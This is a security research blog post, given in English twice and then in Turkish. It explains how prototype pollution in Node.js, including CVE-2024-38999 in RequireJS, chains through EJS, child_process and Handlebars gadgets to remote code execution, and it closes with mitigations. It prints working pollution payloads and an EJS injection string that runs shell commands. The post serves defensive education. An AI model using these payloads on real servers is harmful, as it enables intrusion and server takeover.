Prototype Pollution to RCE: Node.js Gadget Chains Explained
Wed May 27 2026
Category: Security Research
Introduction: The JavaScript Prototype Chain
In JavaScript, every object has a hidden link called [[Prototype]]. This link determines where property lookups continue when the object itself doesn't have a property — this is prototype inheritance.
const user = { name: "alice" };
// user.__proto__ → Object.prototype
// user.toString() comes from Object.prototype.toString
At the top of the chain sits Object.prototype. Every object in a Node.js process inherits from it. That fact raises a critical security question:
What happens if we add a property to
Object.prototype?
Object.prototype.admin = true;
const req = {};
console.log(req.admin); // → true (never defined on req)
Answer: Every object in the process instantly inherits that property.
What is Prototype Pollution?
Prototype pollution occurs when an attacker can modify Object.prototype through user-controlled input.
This typically happens via insecure merge, clone, or extend operations:
Vulnerable deep merge:
function merge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === "object") {
merge(target[key], source[key]); // recursive
} else {
target[key] = source[key]; // NO KEY GUARD
}
}
}
// Attacker-controlled payload:
merge({}, JSON.parse('{"__proto__":{"shell":"bash"}}'));
// Now: Object.prototype.shell === "bash"
The __proto__ key has special JavaScript semantics: target.__proto__ returns Object.prototype. So target.__proto__.shell = "bash" is equivalent to Object.prototype.shell = "bash".
Alternative pollution vectors:
// Via constructor.prototype
{"constructor": {"prototype": {"admin": true}}}
// Via URL parameter
?__proto__[shell]=bash
// Via JSON merge patch
PATCH /config {"__proto__": {"debug": true}}
Server-Side Prototype Pollution (SSPP)
Client-side (browser) prototype pollution is well known. The more dangerous variant is server-side: the Object.prototype of an entire Node.js process is poisoned.
Why more dangerous?
- A single request affects the entire application
- Written to memory; every subsequent object is affected
- Library gadgets can be chained all the way to RCE
CVE-2024-38999: RequireJS Prototype Pollution
RequireJS is a widely-used module loader for both Node.js and browser environments.
Vulnerable function: require.config()
// RequireJS source (simplified)
req.config = function(config) {
// config object is deep-merged with cfg
// WITHOUT any __proto__ key guard
extend(cfg, config);
return req;
};
If a user-controlled config object is passed to require.config():
// Attacker-controlled config
require.config({
"__proto__": {
"shell": "bash"
}
});
// Object.prototype.shell === "bash"
Gadget Chains: Turning Pollution into RCE
Prototype pollution alone is harmless. The danger lies in the presence of gadgets in the application — existing code that reads the polluted property and uses it unsafely.
Gadget 1: EJS Template Engine (CVE-2022-29078 style)
EJS reads the outputFunctionName option during rendering and evaluates it as code:
// EJS internals
if (opts.outputFunctionName) {
prepended += ` var ${opts.outputFunctionName} = __output;\n`;
}
// The value is inserted into generated code string → eval'd
Attack chain:
// 1. Pollute Object.prototype
Object.prototype.outputFunctionName =
"x;process.mainModule.require('child_process').execSync('id > /tmp/pwned')//";
// 2. Any EJS render call (normal app flow) now triggers RCE
ejs.render("<%= name %>", { name: "alice" });
// → gadget fires → RCE
Gadget 2: child_process.spawn Options
const { spawn } = require("child_process");
function runConverter(file) {
// options object is empty; values inherited from Object.prototype
const proc = spawn("convert", [file], {});
return proc;
}
// With pollution:
Object.prototype.shell = true;
Object.prototype.env = { NODE_OPTIONS: "--require /tmp/malicious.js" };
// spawn now runs with shell: true → /bin/bash executes command
Gadget 3: Handlebars Template Engine
Object.prototype.type = "Program";
Object.prototype.body = [/* AST node for require('child_process').exec(...) */];
// Handlebars compile → AST traversal → executes body → RCE
Full Attack Chain: CVE-2024-38999
HTTP request → require.config(userInput)
↓ deep merge (no key guard)
Object.prototype.shell = "bash"
↓ gadget lookup
ejs.render() or spawn() is called
↓ reads poisoned property
/bin/bash executed
↓
RCE — server compromised
Mitigation
1. Add a key guard to merge functions:
function safeMerge(target, source) {
for (const key of Object.keys(source)) {
if (key === "__proto__" || key === "constructor") continue;
if (typeof source[key] === "object") {
safeMerge(target[key] ??= {}, source[key]);
} else {
target[key] = source[key];
}
}
}
2. Use Object.create(null) for config objects:
// Creates an object with NO prototype
const config = Object.create(null);
// __proto__ inheritance doesn't exist — pollution impossible
3. Freeze Object.prototype:
Object.freeze(Object.prototype);
// Pollution attempts silently fail (throw in strict mode)
4. Update RequireJS to 2.3.7 or later.
5. Node.js runtime flag:
node --disable-proto=delete app.js
# Disables __proto__ accessor entirely
Conclusion
Prototype pollution offers an elegant attack chain from a seemingly low-impact entry point ("just a property on an object") to full server compromise. The danger lies in the attacker reusing existing application code as gadgets — no new code needs to be introduced.
CVE-2024-38999 showed that a library used for over a decade across millions of projects was vulnerable to this attack class. Every merge, assign, or extend operation in your Node.js codebase should be audited for __proto__ key handling.
CVE: CVE-2024-38999
Library: RequireJS < 2.3.7
CVSS: 9.8 (Critical)
Research basis: "Silent Spring: Prototype Pollution Leads to RCE in Node.js" — USENIX Security 2023
Reference: https://portswigger.net/research/server-side-prototype-pollution
Introduction: The JavaScript Prototype Chain
In JavaScript, every object has a hidden link called [[Prototype]]. This link determines where property lookups continue when the object itself doesn't have a property — this is prototype inheritance.
const user = { name: "alice" };
// user.__proto__ → Object.prototype
// user.toString() comes from Object.prototype.toString
At the top of the chain sits Object.prototype. Every object in a Node.js process inherits from it. That fact raises a critical security question:
What happens if we add a property to
Object.prototype?
Object.prototype.admin = true;
const req = {};
console.log(req.admin); // → true (never defined on req)
Answer: Every object in the process instantly inherits that property.
What is Prototype Pollution?
Prototype pollution occurs when an attacker can modify Object.prototype through user-controlled input.
This typically happens via insecure merge, clone, or extend operations:
Vulnerable deep merge:
function merge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === "object") {
merge(target[key], source[key]); // recursive
} else {
target[key] = source[key]; // NO KEY GUARD
}
}
}
// Attacker-controlled payload:
merge({}, JSON.parse('{"__proto__":{"shell":"bash"}}'));
// Now: Object.prototype.shell === "bash"
The __proto__ key has special JavaScript semantics: target.__proto__ returns Object.prototype. So target.__proto__.shell = "bash" is equivalent to Object.prototype.shell = "bash".
Alternative pollution vectors:
// Via constructor.prototype
{"constructor": {"prototype": {"admin": true}}}
// Via URL parameter
?__proto__[shell]=bash
// Via JSON merge patch
PATCH /config {"__proto__": {"debug": true}}
Server-Side Prototype Pollution (SSPP)
Client-side (browser) prototype pollution is well known. The more dangerous variant is server-side: the Object.prototype of an entire Node.js process is poisoned.
Why more dangerous?
- A single request affects the entire application
- Written to memory; every subsequent object is affected
- Library gadgets can be chained all the way to RCE
CVE-2024-38999: RequireJS Prototype Pollution
RequireJS is a widely-used module loader for both Node.js and browser environments.
Vulnerable function: require.config()
// RequireJS source (simplified)
req.config = function(config) {
// config object is deep-merged with cfg
// WITHOUT any __proto__ key guard
extend(cfg, config);
return req;
};
If a user-controlled config object is passed to require.config():
// Attacker-controlled config
require.config({
"__proto__": {
"shell": "bash"
}
});
// Object.prototype.shell === "bash"
Gadget Chains: Turning Pollution into RCE
Prototype pollution alone is harmless. The danger lies in the presence of gadgets in the application — existing code that reads the polluted property and uses it unsafely.
Gadget 1: EJS Template Engine (CVE-2022-29078 style)
EJS reads the outputFunctionName option during rendering and evaluates it as code:
// EJS internals
if (opts.outputFunctionName) {
prepended += ` var ${opts.outputFunctionName} = __output;\n`;
}
// The value is inserted into generated code string → eval'd
Attack chain:
// 1. Pollute Object.prototype
Object.prototype.outputFunctionName =
"x;process.mainModule.require('child_process').execSync('id > /tmp/pwned')//";
// 2. Any EJS render call (normal app flow) now triggers RCE
ejs.render("<%= name %>", { name: "alice" });
// → gadget fires → RCE
Gadget 2: child_process.spawn Options
const { spawn } = require("child_process");
function runConverter(file) {
// options object is empty; values inherited from Object.prototype
const proc = spawn("convert", [file], {});
return proc;
}
// With pollution:
Object.prototype.shell = true;
Object.prototype.env = { NODE_OPTIONS: "--require /tmp/malicious.js" };
// spawn now runs with shell: true → /bin/bash executes command
Gadget 3: Handlebars Template Engine
Object.prototype.type = "Program";
Object.prototype.body = [/* AST node for require('child_process').exec(...) */];
// Handlebars compile → AST traversal → executes body → RCE
Full Attack Chain: CVE-2024-38999
HTTP request → require.config(userInput)
↓ deep merge (no key guard)
Object.prototype.shell = "bash"
↓ gadget lookup
ejs.render() or spawn() is called
↓ reads poisoned property
/bin/bash executed
↓
RCE — server compromised
Mitigation
1. Add a key guard to merge functions:
function safeMerge(target, source) {
for (const key of Object.keys(source)) {
if (key === "__proto__" || key === "constructor") continue;
if (typeof source[key] === "object") {
safeMerge(target[key] ??= {}, source[key]);
} else {
target[key] = source[key];
}
}
}
2. Use Object.create(null) for config objects:
// Creates an object with NO prototype
const config = Object.create(null);
// __proto__ inheritance doesn't exist — pollution impossible
3. Freeze Object.prototype:
Object.freeze(Object.prototype);
// Pollution attempts silently fail (throw in strict mode)
4. Update RequireJS to 2.3.7 or later.
5. Node.js runtime flag:
node --disable-proto=delete app.js
# Disables __proto__ accessor entirely
Conclusion
Prototype pollution offers an elegant attack chain from a seemingly low-impact entry point ("just a property on an object") to full server compromise. The danger lies in the attacker reusing existing application code as gadgets — no new code needs to be introduced.
CVE-2024-38999 showed that a library used for over a decade across millions of projects was vulnerable to this attack class. Every merge, assign, or extend operation in your Node.js codebase should be audited for __proto__ key handling.
CVE: CVE-2024-38999
Library: RequireJS < 2.3.7
CVSS: 9.8 (Critical)
Research basis: "Silent Spring: Prototype Pollution Leads to RCE in Node.js" — USENIX Security 2023
Reference: https://portswigger.net/research/server-side-prototype-pollution
Giriş: JavaScript Prototype Zinciri
JavaScript'te her nesne, [[Prototype]] adı verilen gizli bir bağlantıya sahiptir. Bu bağlantı, nesnenin özelliğe sahip olmadığı durumlarda aramanın nerede devam edeceğini belirler — bu mekanizma prototip kalıtımı olarak bilinir.
const user = { name: "alice" };
// user.__proto__ → Object.prototype
// user.toString() → Object.prototype.toString'den gelir
Zincirin en tepesinde Object.prototype bulunur. Node.js sürecindeki her nesne bu prototipi kalıtır. Bu gerçek, kritik bir güvenlik sorusunu doğurur:
Object.prototype'a bir özellik eklersek ne olur?
Object.prototype.admin = true;
const req = {};
console.log(req.admin); // → true ← hiç tanımlamadık
Cevap: Süreçteki tüm nesneler bu özelliği anında kalıtır.
Prototype Pollution Nedir?
Prototype pollution, saldırganın kullanıcı kontrolündeki veriler aracılığıyla Object.prototype'ı değiştirebilmesi durumudur.
Bu genellikle güvensiz merge, clone, veya extend işlemleri aracılığıyla gerçekleşir:
Savunmasız deep merge:
function merge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === "object") {
merge(target[key], source[key]); // recursive
} else {
target[key] = source[key]; // NO KEY GUARD
}
}
}
// Saldırgan payload:
merge({}, JSON.parse('{"__proto__":{"shell":"bash"}}'));
// Artık: Object.prototype.shell === "bash"
__proto__ anahtarı özel bir JavaScript semantiğine sahiptir: target.__proto__ aslında Object.prototype'ı döndürür. Bu yüzden target.__proto__.shell = "bash" ifadesi Object.prototype.shell = "bash" ile eşdeğerdir.
Alternatif kirletme yolları:
// constructor.prototype yoluyla
{"constructor": {"prototype": {"admin": true}}}
// URL parametresi yoluyla
?__proto__[shell]=bash
// JSON merge patch yoluyla
PATCH /config {"__proto__": {"debug": true}}
Server-Side Prototype Pollution (SSPP)
İstemci tarafı (browser) prototype pollution iyi bilinir. Ancak daha tehlikeli olan server-side varyantıdır: Node.js sürecindeki Object.prototype zehirlenir.
Neden daha tehlikeli?
- Tek bir istek tüm uygulamayı etkiler
- Belleğe yazılır, her sonraki nesne etkilenir
- Kütüphane gadget'ları RCE'ye kadar zincirlenebilir
CVE-2024-38999: RequireJS Prototype Pollution
RequireJS, Node.js ve browser ortamlarında yaygın olarak kullanılan bir modül yükleme kütüphanesidir.
Savunmasız işlev: require.config()
// RequireJS kaynak kodu (basitleştirilmiş)
req.config = function(config) {
// config nesnesi doğrulama YAPILMADAN
// mevcut cfg ile deep merge edilir
extend(cfg, config); // __proto__ key'i korunmuyor!
return req;
};
Kullanıcı kontrolündeki bir config nesnesi require.config()'e geçirilirse:
// Saldırgan tarafından kontrol edilen config
require.config({
"__proto__": {
"shell": "bash"
}
});
// Object.prototype.shell === "bash"
Gadget Zincirleri: Kirliliği RCE'ye Dönüştürmek
Prototype pollution tek başına zararsızdır. Tehlike, uygulamada gadget adı verilen kodun varlığında ortaya çıkar.
Gadget: Kirlenmiş özelliği okuyup tehlikeli biçimde kullanan mevcut kod parçası.
Gadget 1: EJS Template Engine (CVE-2022-29078 tarzı)
EJS (Embedded JavaScript Templates), render sırasında outputFunctionName seçeneğini okur ve bu değeri doğrudan kod olarak değerlendirir:
// EJS kaynak kodu (iç)
if (opts.outputFunctionName) {
prepended += ` var ${opts.outputFunctionName} = __output;\n`;
}
// → String.prototype'dan kalıtılmış değer eval olarak çalıştırılır
Saldırı:
// 1. Object.prototype kirlet
Object.prototype.outputFunctionName =
"x;process.mainModule.require('child_process').execSync('id > /tmp/pwned')//";
// 2. EJS bir şablon render etmeye çalışsın (normal akış)
ejs.render("<%= name %>", { name: "alice" });
// → gadget tetiklenir → RCE
Gadget 2: child_process.spawn Options
// Uygulama kodu — masum görünür
const { spawn } = require("child_process");
function runConverter(file) {
// options nesnesi boş; değerler Object.prototype'tan kalıtılır
const proc = spawn("convert", [file], {});
return proc;
}
// Pollution ile:
Object.prototype.shell = true;
Object.prototype.env = { NODE_OPTIONS: "--require /tmp/malicious.js" };
// spawn artık /bin/bash ile shell olarak çalışır
Gadget 3: Handlebars Template Engine
Object.prototype.type = "Program";
Object.prototype.body = [/* AST node for require('child_process').exec(...) */];
// Handlebars compile → AST traversal → RCE
Tam Saldırı Zinciri: CVE-2024-38999
HTTP İsteği → require.config(userInput)
↓ deep merge (key guard yok)
Object.prototype.shell = "bash"
↓ gadget aranıyor
ejs.render() veya spawn() tetiklenir
↓ kirlenmiş özellik okunur
/bin/bash çalıştırılır
↓
RCE — sunucu ele geçirildi
Önlem
1. Key guard ekleyin:
function safemerge(target, source) {
for (const key of Object.keys(source)) {
// __proto__ ve constructor'ı filtrele
if (key === "__proto__" || key === "constructor") continue;
if (typeof source[key] === "object") {
safemerge(target[key] ??= {}, source[key]);
} else {
target[key] = source[key];
}
}
}
2. Object.create(null) kullanın:
// Prototype'sız nesne oluştur
const config = Object.create(null);
// __proto__ kalıtımı yoktur — kirletme imkânsız
3. Object.prototype'ı dondurun:
Object.freeze(Object.prototype);
// Pollution girişimi sessizce başarısız olur (strict modda hata verir)
4. RequireJS güncelleme: 2.3.7+ sürümüne geçin.
5. Node.js bayrağı:
node --disable-proto=delete app.js
# __proto__ erişimini devre dışı bırakır
Sonuç
Prototype pollution, "düşük etki" gibi görünen bir giriş noktasından ("sadece bir nesne özelliği değişiyor") tam sunucu kompromisine uzanan zarif bir saldırı zinciri sunar. Tehlike, saldırganın uygulamadaki mevcut kodu gadget olarak kullanmasıdır — yeni kod çalıştırmasına gerek yoktur.
CVE-2024-38999, on yılı aşkın süredir yaygın biçimde kullanılan bir kütüphanenin bu saldırı sınıfına karşı savunmasız olduğunu ortaya koydu. Her merge, assign veya extend işlemi, __proto__ key'ine karşı koruma sağlayıp sağlamadığı sorgulanarak incelenmelidir.
CVE: CVE-2024-38999
Kütüphane: RequireJS < 2.3.7
CVSS: 9.8 (Critical)
Araştırma Temeli: "Silent Spring: Prototype Pollution Leads to RCE in Node.js" — USENIX Security 2023